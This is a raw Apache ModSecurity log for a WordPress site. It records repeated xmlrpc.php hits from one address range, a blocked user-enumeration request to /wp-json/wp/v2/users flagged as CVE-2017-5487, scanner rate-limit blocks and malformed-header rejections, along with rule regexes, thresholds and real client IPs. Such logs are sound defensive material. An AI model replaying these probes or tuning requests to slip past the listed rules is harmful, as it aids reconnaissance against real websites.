[Sun May 03 16:02:48.305117 2026] [:error] [pid 40456:tid 40463] [client 79.124.27.249:51333] [client 79.124.27.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcBKDSujTvwdzEkjSc7zwAAAYU"]
[Sun May 03 16:02:59.028454 2026] [:error] [pid 34432:tid 34439] [client 79.124.27.249:49179] [client 79.124.27.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcBM573JKVQ0wlof4IiqgAAAcU"]
[Sun May 03 16:03:09.728284 2026] [:error] [pid 40456:tid 40462] [client 79.124.27.249:54435] [client 79.124.27.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcBPTSujTvwdzEkjSc71wAAAYQ"]
[Sun May 03 16:04:13.800022 2026] [:error] [pid 37126:tid 37164] [client 79.124.27.214:59478] [client 79.124.27.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcBffR_A42N-LtDyrsbjgAAAAs"]
[Sun May 03 16:04:24.379101 2026] [:error] [pid 37246:tid 37274] [client 79.124.27.224:53584] [client 79.124.27.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcBiDhvYFGNwhnPamr5_AAAARg"]
[Sun May 03 16:05:38.921867 2026] [:error] [pid 37130:tid 37234] [client 79.124.27.104:59717] [client 79.124.27.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcB0qIu7bmXKXicRk92fwAAAJU"]
[Sun May 03 16:06:00.325335 2026] [:error] [pid 34432:tid 34447] [client 79.124.27.20:50077] [client 79.124.27.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcB6J73JKVQ0wlof4IjAQAAAc0"]
[Sun May 03 16:06:10.937245 2026] [:error] [pid 34432:tid 34442] [client 79.124.27.11:50095] [client 79.124.27.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.11, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcB8p73JKVQ0wlof4IjGgAAAcg"]
[Sun May 03 16:06:21.520813 2026] [:error] [pid 37126:tid 37160] [client 79.124.27.178:55182] [client 79.124.27.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcB_fR_A42N-LtDyrscawAAAAc"]
[Sun May 03 16:06:32.121554 2026] [:error] [pid 37126:tid 37174] [client 79.124.27.85:63603] [client 79.124.27.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.85, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcCCPR_A42N-LtDyrschgAAABU"]
[Sun May 03 16:06:42.760789 2026] [:error] [pid 40456:tid 40465] [client 79.124.27.218:54065] [client 79.124.27.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcCEjSujTvwdzEkjSc8WwAAAYc"]
[Sun May 03 16:06:53.265901 2026] [:error] [pid 37126:tid 37160] [client 79.124.27.49:51017] [client 79.124.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcCHfR_A42N-LtDyrscuwAAAAc"]
[Sun May 03 16:07:03.890362 2026] [:error] [pid 40456:tid 40460] [client 79.124.27.140:60217] [client 79.124.27.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcCJzSujTvwdzEkjSc8dQAAAYI"]
[Sun May 03 16:07:35.719070 2026] [:error] [pid 37246:tid 37259] [client 79.124.27.146:58540] [client 79.124.27.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcCRzhvYFGNwhnPamr61AAAAQo"]
[Sun May 03 16:10:26.008153 2026] [:error] [pid 40386:tid 40409] [client 79.124.27.156:53272] [client 79.124.27.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcC8lHJDYRXUf3IbRQX3QAAANU"]
[Sun May 03 16:11:08.571454 2026] [:error] [pid 40456:tid 40468] [client 79.124.27.86:57187] [client 79.124.27.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcDHDSujTvwdzEkjSc9GAAAAYo"]
[Sun May 03 16:12:12.634016 2026] [:error] [pid 40422:tid 40449] [client 79.124.27.197:62472] [client 79.124.27.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcDXEHBbBLrXh6PBusqIQAAAVc"]
[Sun May 03 16:12:23.232732 2026] [:error] [pid 40456:tid 40458] [client 79.124.27.253:60941] [client 79.124.27.253] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.253, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcDZzSujTvwdzEkjSc9UwAAAYA"]
[Sun May 03 16:12:45.537252 2026] [:error] [pid 37126:tid 37159] [client 79.124.27.68:49175] [client 79.124.27.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcDffR_A42N-LtDyrseLgAAAAY"]
[Sun May 03 16:13:27.346249 2026] [:error] [pid 37246:tid 37256] [client 79.124.27.84:51426] [client 79.124.27.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcDpzhvYFGNwhnPamr7wAAAAQg"]
[Sun May 03 16:13:38.066061 2026] [:error] [pid 34432:tid 34434] [client 79.124.27.200:61994] [client 79.124.27.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.200, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcDsp73JKVQ0wlof4IkJgAAAcA"]
[Sun May 03 16:15:02.997094 2026] [:error] [pid 37126:tid 37157] [client 79.124.27.184:52787] [client 79.124.27.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcEBvR_A42N-LtDyrsengAAAAQ"]
[Sun May 03 16:15:34.908676 2026] [:error] [pid 37126:tid 37158] [client 79.124.27.85:52036] [client 79.124.27.85] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.85, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcEJvR_A42N-LtDyrse4wAAAAU"]
[Sun May 03 16:17:53.587317 2026] [:error] [pid 34432:tid 34438] [client 79.124.27.127:55931] [client 79.124.27.127] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.127, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcEsZ73JKVQ0wlof4IkkQAAAcQ"]
[Sun May 03 16:18:14.864738 2026] [:error] [pid 40456:tid 40462] [client 79.124.27.29:58817] [client 79.124.27.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcExjSujTvwdzEkjSc-IwAAAYQ"]
[Sun May 03 16:19:50.750248 2026] [:error] [pid 40456:tid 40477] [client 79.124.27.151:65026] [client 79.124.27.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.151, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcFJjSujTvwdzEkjSc-VwAAAZM"]
[Sun May 03 16:20:22.602121 2026] [:error] [pid 34432:tid 34440] [client 79.124.27.184:55460] [client 79.124.27.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcFRp73JKVQ0wlof4Ik-QAAAcY"]
[Sun May 03 16:21:59.618103 2026] [:error] [pid 37246:tid 37270] [client 79.124.27.18:59900] [client 79.124.27.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcFpzhvYFGNwhnPamr9cQAAARQ"]
[Sun May 03 16:22:30.500682 2026] [:error] [pid 40422:tid 40445] [client 79.124.27.3:59179] [client 79.124.27.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcFxkHBbBLrXh6PBustHgAAAVM"]
[Sun May 03 16:22:41.097395 2026] [:error] [pid 37126:tid 37168] [client 79.124.27.6:55438] [client 79.124.27.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcF0fR_A42N-LtDyrsigAAAAA8"]
[Sun May 03 16:22:51.843487 2026] [:error] [pid 37130:tid 37225] [client 79.124.27.132:56450] [client 79.124.27.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcF26Iu7bmXKXicRk93-QAAAIw"]
[Sun May 03 16:23:13.036480 2026] [:error] [pid 37246:tid 37253] [client 79.124.27.108:65271] [client 79.124.27.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcF8ThvYFGNwhnPamr9rwAAAQU"]
[Sun May 03 16:23:45.092587 2026] [:error] [pid 34432:tid 34448] [client 79.124.27.156:63019] [client 79.124.27.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcGEZ73JKVQ0wlof4ImIgAAAc4"]
[Sun May 03 16:24:06.297573 2026] [:error] [pid 34432:tid 34439] [client 79.124.27.13:54918] [client 79.124.27.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcGJp73JKVQ0wlof4ImQQAAAcU"]
[Sun May 03 16:25:31.220436 2026] [:error] [pid 34432:tid 34445] [client 79.124.27.17:63463] [client 79.124.27.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.17, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcGe573JKVQ0wlof4ImtAAAAcs"]
[Sun May 03 16:27:40.751057 2026] [:error] [pid 34432:tid 34442] [client 211.21.61.246:54876] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcG_J73JKVQ0wlof4In8gAAAcg"]
[Sun May 03 16:27:49.500049 2026] [:error] [pid 34432:tid 34448] [client 79.124.27.200:52035] [client 79.124.27.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.200, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcHBZ73JKVQ0wlof4IoAQAAAc4"]
[Sun May 03 16:28:21.506306 2026] [:error] [pid 54535:tid 54541] [client 79.124.27.23:53022] [client 79.124.27.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcHJfRyz79iR-ntJRK5GwAAAgQ"]
[Sun May 03 16:28:42.740925 2026] [:error] [pid 37126:tid 37177] [client 79.124.27.192:53709] [client 79.124.27.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.192, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcHOvR_A42N-LtDyrskMAAAABg"]
[Sun May 03 16:40:51.411516 2026] [:error] [pid 54535:tid 54543] [client 178.33.162.49:32986] [client 178.33.162.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.33.162.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcKE_Ryz79iR-ntJRK86QAAAgY"]
[Sun May 03 18:25:57.285924 2026] [:error] [pid 34432:tid 34447] [client 141.94.27.49:49982] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcitZ73JKVQ0wlof4JQsgAAAc0"]
[Sun May 03 18:27:12.998070 2026] [:error] [pid 37246:tid 37263] [client 46.98.129.208:54513] [client 46.98.129.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.98.129.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcjADhvYFGNwhnPamoWfQAAAQ0"]
[Sun May 03 18:28:24.216330 2026] [:error] [pid 40422:tid 40430] [client 46.98.129.208:58623] [client 46.98.129.208] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afcjSEHBbBLrXh6PBus9pgAAAUQ"]
[Sun May 03 18:28:41.976209 2026] [:error] [pid 37126:tid 37172] [client 46.98.129.208:59022] [client 46.98.129.208] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.98.129.208, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcjWfR_A42N-LtDyrs2vwAAABM"]
[Sun May 03 18:37:55.246786 2026] [:error] [pid 40456:tid 40465] [client 217.70.186.133:22068] [client 217.70.186.133] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.70.186.133, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afclgzSujTvwdzEkjSdNhgAAAYc"]
[Sun May 03 19:36:44.127719 2026] [:error] [pid 34432:tid 34439] [client 51.77.216.81:52082] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "afczTJ73JKVQ0wlof4JnhAAAAcU"]
[Sun May 03 19:36:47.992663 2026] [:error] [pid 37246:tid 37266] [client 51.77.216.81:52092] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/robots.txt"] [unique_id "afczTzhvYFGNwhnPamojFwAAARA"]
[Sun May 03 19:43:23.485719 2026] [:error] [pid 34432:tid 34451] [client 43.164.192.151:59814] [client 43.164.192.151] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afc02573JKVQ0wlof4JrCwAAAdE"]
[Sun May 03 20:34:18.204681 2026] [:error] [pid 34432:tid 34444] [client 162.14.109.170:44116] [client 162.14.109.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afdAyp73JKVQ0wlof4J4XQAAAco"]
[Sun May 03 21:53:56.282705 2026] [:error] [pid 37127:tid 37194] [client 51.210.113.223:34616] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afdTdP8khJXb5O5aWVVLYQAAAEo"]
[Sun May 03 22:24:34.585524 2026] [:error] [pid 37130:tid 37226] [client 49.43.161.201:63101] [client 49.43.161.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afdaoqIu7bmXKXicRk-PqQAAAI0"]
[Sun May 03 22:24:56.458781 2026] [:error] [pid 54535:tid 54553] [client 49.43.161.201:63623] [client 49.43.161.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afdauPRyz79iR-ntJRIGEQAAAhA"]
[Sun May 03 22:25:07.012768 2026] [:error] [pid 40386:tid 40389] [client 49.43.161.201:63834] [client 49.43.161.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afdaw1HJDYRXUf3IbRQuSQAAAME"]
[Sun May 03 22:25:28.568856 2026] [:error] [pid 37246:tid 37253] [client 49.43.161.201:64178] [client 49.43.161.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afda2DhvYFGNwhnPamo6cgAAAQU"]
[Sun May 03 22:25:40.997069 2026] [:error] [pid 34432:tid 34454] [client 49.43.161.201:64370] [client 49.43.161.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.161.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afda5J73JKVQ0wlof4KQDQAAAdQ"]
[Mon May 04 04:12:57.650608 2026] [:error] [pid 57048:tid 57139] [client 52.165.198.204:5889] [client 52.165.198.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "afesSYZINtpBgqE164I7RQAAAJY"]
